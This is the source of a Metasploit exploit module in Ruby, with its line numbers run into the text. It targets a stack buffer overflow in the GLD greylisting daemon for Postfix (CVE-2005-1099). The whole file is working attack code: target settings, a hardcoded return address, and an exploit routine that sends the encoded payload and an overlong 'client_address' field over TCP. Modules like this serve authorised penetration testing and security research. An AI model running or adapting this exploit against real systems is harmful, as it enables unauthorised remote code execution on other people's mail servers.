Path: blob/master/modules/exploits/linux/misc/gld_postfix.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'GLD (Greylisting Daemon) Postfix Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in the Salim Gasmi17GLD <= 1.4 greylisting daemon for Postfix. By sending an18overly long string the stack can be overwritten.19},20'Author' => [ 'aushack' ],21'Arch' => ARCH_X86,22'Platform' => 'linux',23'References' => [24[ 'CVE', '2005-1099' ],25[ 'OSVDB', '15492' ],26[ 'BID', '13129' ],27[ 'EDB', '934' ]28],29'Privileged' => true,30'License' => MSF_LICENSE,31'Payload' => {32'Space' => 1000,33'BadChars' => "\x00\x0a\x0d\x20=",34'StackAdjustment' => -3500,35},36'Targets' => [37[ 'RedHat Linux 7.0 (Guinness)', { 'Ret' => 0xbfffa5d8 } ],38],39'DefaultTarget' => 0,40'DisclosureDate' => '2005-04-12',41'Notes' => {42'Reliability' => UNKNOWN_RELIABILITY,43'Stability' => UNKNOWN_STABILITY,44'SideEffects' => UNKNOWN_SIDE_EFFECTS45}46)47)4849register_options(50[51Opt::RPORT(2525)52],53self.class54)55end5657def exploit58connect5960sploit = "sender=" + payload.encoded + "\r\n"61sploit << "client_address=" + [target['Ret']].pack('V') * 300 + "\r\n\r\n"6263sock.put(sploit)64handler65disconnect66end67end686970